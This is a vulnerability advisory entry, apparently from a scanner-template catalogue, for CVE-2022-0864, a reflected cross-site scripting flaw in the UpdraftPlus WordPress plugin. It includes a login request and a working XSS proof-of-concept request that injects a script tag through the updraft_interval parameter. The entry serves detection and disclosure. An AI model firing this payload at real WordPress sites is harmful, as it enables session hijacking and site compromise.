| Title | UpdraftPlus < 1.22.9 - Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04513 |
| CVE ID | CVE-2022-0864 |
| CWE ID | CWE-79 |
| Tags | wpscan cve cve2022 xss authenticated updraftplus wp-plugin wp wordpress vuln |
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Origin: /
Accept-Encoding: gzip
log=uHBpdB&pwd=nKyYEx&wp-submit=Log+In&testcookie=1
GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm('document_domain')</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0864.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0864.pcap
N/AN/A